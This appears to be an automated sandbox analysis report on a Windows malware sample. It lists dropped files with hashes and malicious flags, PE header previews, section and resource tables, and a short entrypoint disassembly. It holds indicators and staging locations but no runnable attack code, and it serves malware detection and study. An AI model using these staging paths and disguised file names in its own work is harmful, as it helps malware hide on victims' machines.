File Type:	ASCII text
Category:	dropped
Size (bytes):	26075
Entropy (8bit):	4.9212533677507535
Encrypted:	false
SSDEEP:	384:obPA7Xi6V2+Bec3ipnFH6HZ1KDZvRcbQ3sd1GkjDo413lK/RIV5MXrSomsjiETwM:orA3TVJc3sd1GkF3cIVf591w
MD5:	F863B7C5680017EE9F744900CC6C3834
SHA1:	155E6E8752F6D48EF8D32CE2228E17EE58C2768E
SHA-256:	9C78A976BBC933863FB0E4C23EE62B26F8EB3D7F101D7D32E6768579499E43B1
SHA-512:	34F5B51EA1A2EFCD53B51A74E7E9B69FB154E017527BBD1CB3961F1619E74BE9D49D0583D193DBA7E8A3904F6C7446F278BC7977011DCCDAEBBE42D71FA5630C
Malicious:	false
Preview:	# xmfbox.tcl --.#.#.Implements the "Motif" style file selection dialog for the.#.Unix platform. This implementation is used only if the.#."::tk_strictMotif" flag is set..#.# Copyright (c) 1996 Sun Microsystems, Inc..# Copyright (c) 1998-2000 Scriptics Corporation.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...namespace eval ::tk::dialog {}.namespace eval ::tk::dialog::file {}...# ::tk::MotifFDialog --.#.#.Implements a file dialog similar to the standard Motif file.#.selection box..#.# Arguments:.#.type.."open" or "save".#.args..Options parsed by the procedure..#.# Results:.#.When -multiple is set to 0, this returns the absolute pathname.#.of the selected file. (NOTE: This is not the same as a single.#.element list.).#.#.When -multiple is set to > 0, this returns a Tcl list of absolute.# pathnames. The argument for -multiple is ignored, but for consistency.# with Windows it defines the max

C:\Users\user\AppData\Local\Temp\_MEI65762\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1073680
Entropy (8bit):	5.327852618149687
Encrypted:	false
SSDEEP:	12288:ge+YbeoEYa6l0SYxytHcQJJwEI+V/IFx7agsSJNzkRoEVnOPmrZ6bK:ge+BN6axoc1r+VUx7agnNctOo6K
MD5:	4D3D8E16E98558FF9DAC8FC7061E2759
SHA1:	C918AB67B580F955B6361F9900930DA38CEC7C91
SHA-256:	016D962782BEAE0EA8417A17E67956B27610F4565CFF71DD35A6E52AB187C095
SHA-512:	0DFABFAD969DA806BC9C6C664CDF31647D89951832FF7E4E5EEED81F1DE9263ED71BDDEFF76EBB8E47D6248AD4F832CB8AD456F11E401C3481674BD60283991A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........VQx..Qx..Qx..X.O.Wx..j&..Sx..j&..Sx..j&..Zx..j&..[x...&..Rx......Sx..Qx...x...&..Px...&..Px...&#.Px...&..Px..RichQx..........................PE..d...w.:_.........." .....@..........h5....................................................`..........................................b..X...Hc.......p.......P..X....H..............`u..T............................u...............P..8............................text...Q?.......@.................. ..`.rdata.......P.......D..............@..@.data........p.......`..............@....pdata..X....P......................@..@.gfids.......`.......8..............@..@.rsrc........p.......:..............@..@.reloc...............F..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cy1myh2.bfw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p3jupe25.wpt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snrdyypm.xqx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uda4u3yl.rzn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\B6AA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704000
Entropy (8bit):	6.498036046725285
Encrypted:	false
SSDEEP:	12288:kRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExyc:WObekrkfohrP337uzHnA6cH+iHEOWUGq
MD5:	DC768C91E97B42F218028EFA028C41CC
SHA1:	63E5B917E7EB1FE94707CDE664875B71B247EEB5
SHA-256:	A0991507C9DA2C3E21DDA334920FC6C36A7FA1595D4C865C6C200C05128F2EFE
SHA-512:	956D9B9B092B030D99ED6FF9673A0C132FF0565BD80C7AC63BFAC1E3D80062BC641585776BA0D86E2F39DF0D2CDD6DED403979E9CAA65BBB42EC01A0D4106459
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	5.8975201046735535
Encrypted:	false
SSDEEP:	384:ED4NeA1PrXPBdHCNPJEQkWybd0oBSRnAZ806OSDrgtOFXqYUPYNQLJ/k+9tPEBer:64NHPfHCs6GNOpiM+RFjFyzcN23A
MD5:	3ADAA386B671C2DF3BAE5B39DC093008
SHA1:	067CF95FBDB922D81DB58432C46930F86D23DDED
SHA-256:	71CD2F5BC6E13B8349A7C98697C6D2E3FCDEEA92699CEDD591875BEA869FAE38
SHA-512:	BBE4187758D1A69F75A8CCA6B3184E0C20CF8701B16531B55ED4987497934B3C9EF66ECD5E6B83C7357F69734F1C8301B9F82F0A024BB693B732A2D5760FD303
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P.......................................................................P.......P..(............................p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-VIH3T.tmp\B6AA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\B6AA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704000
Entropy (8bit):	6.498036046725285
Encrypted:	false
SSDEEP:	12288:kRObekMSkfohrPUs37uzHnA6zg5cI5MpAHERDjrNyTeR0oUGOHtraxDExyc:WObekrkfohrP337uzHnA6cH+iHEOWUGq
MD5:	DC768C91E97B42F218028EFA028C41CC
SHA1:	63E5B917E7EB1FE94707CDE664875B71B247EEB5
SHA-256:	A0991507C9DA2C3E21DDA334920FC6C36A7FA1595D4C865C6C200C05128F2EFE
SHA-512:	956D9B9B092B030D99ED6FF9673A0C132FF0565BD80C7AC63BFAC1E3D80062BC641585776BA0D86E2F39DF0D2CDD6DED403979E9CAA65BBB42EC01A0D4106459
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d...........p............@..............................................@...............................%..................................................................................................................CODE....(c.......d.................. ..`DATA.................h..............@...BSS..................z...................idata...%.......&...z..............@....tls.....................................rdata..............................@..P.reloc.............................@..P.rsrc...............................@..P.....................H..............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\cuutsue

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248887
Entropy (8bit):	7.999211494809606
Encrypted:	true
SSDEEP:	6144:D3K85xynAN7tOKJX8sJEZD5Jfy94PJVrcGSPosbFCTQ:DTgnYsKJMsa/IwJC3gk
MD5:	D5DCC758B9D58A5D067C19F35BB46906
SHA1:	6731A37A6C49C8FC72EA5C082F54B3CE8622223C
SHA-256:	D909E24F05E9141572201100BA9CA3F5ED1C89D952F01C9E7BDDBF356831B619
SHA-512:	F0293F3AC73CB0F377249BBF53C803AA7B70A46C63A128A5F4F464ACDABDF3F8CB3A8474E4BF59FB81105B7B943CAEBB6C23E3AEF3C5A1973C575B31D4CBB9C6
Malicious:	false
Preview:	.....z....NIf^.v...25...#....c.x7.#G.P*...j..j[O'...cN.....\.../.B.=.)?...m.q.....O..."./mU..rK.....^.n...`.v.ws.[..c..<u..#%oT_wn.D.....:].i..4.(J...K....9L....].uS....s.....}l...A.3.NJ.C.......v..u6O...oP..F...cz.y..Q..Y.].>e.T..9C.'.?...h%.u......&..a./.t...#..L.KG..5`.\|....._.!...L....\....'@.E......x.k ..........n..K..4.@v...#....0...-X/fC_.Q.z;...#;...{o......e..)}..!..Z..M.O.(>.Sm..1...R..Z...2!(5......_..if.9........Y...4f.0.6.....ut~.{h.@Y.\|)...L.....8.G.I...9.?"o.8.......BWR.il..).\|...S..Ow..$..t....D}.x.:...f..fn..2..vf....D..g...9A....^w.\.^....L...6.d....C.....sG]...D..d..a....5P....&..e....6&W...H.g_......t.ri..:...[.FH[.s>.C...W&x......\......K.=...Ky......rb.2....@..>.....:r..<n,m...v....{s.....6_@......s...O9..9.~..7...QQ......g4{...?.7...m[7.-...\|..M.Bb....?..` .q../......:.w..f..S.t#.y..a.....6.g`.3.g.;...-.%...3%K...x!H..X.5.\|@C....\|.....)P...q4....>N..4..h..m".... ..o...II.e..'>7^....B..a.`.k...o....B/d..

C:\Users\user\AppData\Roaming\uiedafw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306176
Entropy (8bit):	6.511814368795298
Encrypted:	false
SSDEEP:	6144:q8nWbrf8FMNYgxVVFgvVULNGtXBcFOiqJZ/:qcWXkFMNnxVVSdZT/
MD5:	2A51B5604558E19C4E2E1BE37212624A
SHA1:	3B052E269BFF93D66DF458AA7AD69B31A7A9F970
SHA-256:	A9A6FD53900FF9B7CFE5338A0EB12614DB6313F34C0C08612B20C7AD0FCB5464
SHA-512:	60D650F7D2A6E396BB64D3342EA98365F5DC5EEAE0A5F26DFF0D15E97D46FB521E43ABEA7A489ACF2DA2F79BBA754C6756A88B317E838692C22F06ED41889E0D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L.....0c.................J...........}.......`....@..................................?.......................................N..<...................................................................@C..@............................................text....I.......J.................. ..`.data.......`...p...N..............@....juv................................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\uiedafw:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\wwedafw

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	304640
Entropy (8bit):	6.508704482502325
Encrypted:	false
SSDEEP:	6144:fLnVJ5r/mpSuBu0RJwq73/fgq86IAa1n:fJJJ/mpSuBu0RJwQPaA
MD5:	3AD72889435079840AE0E810381DDBDB
SHA1:	E853F4E5E5C0EE87E216701549558785B4CCD913
SHA-256:	8508D670AACF729DB5384C6AC9C5E92AAD0492538CCEF0337714D0E4A02DDCE5
SHA-512:	29683969FB1C2A41EBC5541F9FA0AC5B48CB5AD705CED345EE550C42CCDE719251791BB37AD391A693A07EC1EF42140F2DE06CE74290978AA4112F4EB99FE9F9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L....6md.................J...........}.......`....@..........................................................................N..<...................................................................@C..@............................................text....I.......J.................. ..`.data...8....`...j...N..............@....kehi...............................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.511814368795298
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Clipper DOS Executable (2020/12) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	3yPvcmrbqS.exe
File size:	306'176 bytes
MD5:	2a51b5604558e19c4e2e1be37212624a
SHA1:	3b052e269bff93d66df458aa7ad69b31a7a9f970
SHA256:	a9a6fd53900ff9b7cfe5338a0eb12614db6313f34c0c08612b20c7ad0fcb5464
SHA512:	60d650f7d2a6e396bb64d3342ea98365f5dc5eeae0a5f26dff0d15e97d46fb521e43abea7a489acf2da2f79bba754c6756a88b317e838692c22f06ed41889e0d
SSDEEP:	6144:q8nWbrf8FMNYgxVVFgvVULNGtXBcFOiqJZ/:qcWXkFMNnxVVSdZT/
TLSH:	89548E2262E0E471E12346715E29C7FC2A3EB8F15F557ACF27885A3F0A365E1D176309
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L..

File Icon


Icon Hash:	5f48694020425946

Static PE Info

General

Entrypoint:	0x407dfb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6330A004 [Sun Sep 25 18:37:56 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2c31137efffdb21e4a7ea36bf1988dce

Entrypoint Preview

Instruction
call 00007F1708D1954Ch
jmp 00007F1708D1131Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401330h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F1708D1149Eh
test byte ptr [eax], 00000008h
je 00007F1708D11499h
mov dword ptr [ebp-0Ch], 01994000h
lea eax, dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp-20h]
call dword ptr [0040110Ch]
leave
retn 0008h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword ptr [ebp+0Ch]
add eax, 0Ch
mov dword ptr [ebp-04h], eax
mov ebx, dword ptr fs:[00000000h]
mov eax, dword ptr [ebx]
mov dword ptr fs:[00000000h], eax
mov eax, dword ptr [ebp+08h]
mov ebx, dword ptr [ebp+0Ch]
mov ebp, dword ptr [ebp-04h]
mov esp, dword ptr [ebx-04h]
jmp eax
pop ebx
leave
retn 0008h
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, dword ptr fs:[00000000h]
mov dword ptr [ebp-04h], esi
mov dword ptr [ebp-08h], 00407EB5h
push 00000000h
push dword ptr [ebp+0Ch]
push dword ptr [ebp-08h]
push dword ptr [ebp+08h]
call 00007F1708D2BB9Ch
mov eax, dword ptr [ebp+0Ch]
mov eax, dword ptr [eax+04h]
and eax, FFFFFFFDh
mov ecx, dword ptr [ebp+0Ch]
mov dword ptr [ecx+00h], eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24ee4	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1fa1000	0xeaa0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4340	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1e4	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x249e0	0x24a00	False	0.5069325938566553	data	6.424333400875381	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x26000	0x1f798d8	0x17000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.juv	0x1fa0000	0x1	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1fa1000	0xeaa0	0xec00	False	0.3212559586864407	data	3.760269067620222	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_CURSOR	0x1fae1c0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	0.7598684210526315
RT_CURSOR	0x1fae308	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.3407039711191336
RT_ICON	0x1fa1600	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.3731949458483754
RT_ICON	0x1fa1ea8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.4130184331797235
RT_ICON	0x1fa2570	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.3735549132947977
RT_ICON	0x1fa2ad8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.2732176360225141
RT_ICON	0x1fa3b80	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.27704918032786885
RT_ICON	0x1fa4508	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.3129432624113475
RT_ICON	0x1fa49d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.4145228215767635
RT_ICON	0x1fa6f78	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.4491803278688525
RT_ICON	0x1fa7928	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.30890191897654584
RT_ICON	0x1fa87d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	0.3844765342960289
RT_ICON	0x1fa9078	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	0.39055299539170507
RT_ICON	0x1fa9740	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	0.40173410404624277
RT_ICON	0x1fa9ca8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.13713692946058093
RT_ICON	0x1fac250	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.16651031894934334
RT_ICON	0x1fad2f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.19385245901639345
RT_ICON	0x1fadc80	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.24379432624113476
RT_STRING	0x1faee48	0x28c	data	0.5030674846625767
RT_STRING	0x1faf0d8	0x41e	data	0.45445920303605314
RT_STRING	0x1faf4f8	0x5a8	data	0.43370165745856354
RT_ACCELERATOR	0x1fae160	0x60	data	0.75
RT_GROUP_CURSOR	0x1fae2f0	0x14	data	1.15
RT_GROUP_CURSOR	0x1faebb0	0x14	data	1.25
RT_GROUP_ICON	0x1fa7900	0x22	data	1.0588235294117647
RT_GROUP_ICON	0x1fae0e8	0x76	data	0.6694915254237288
RT_GROUP_ICON	0x1fa4970	0x5a	data	0.7222222222222222
RT_VERSION	0x1faebc8	0x27c	data	0.5220125786163522

Imports

DLL

Import

KERNEL32.dll

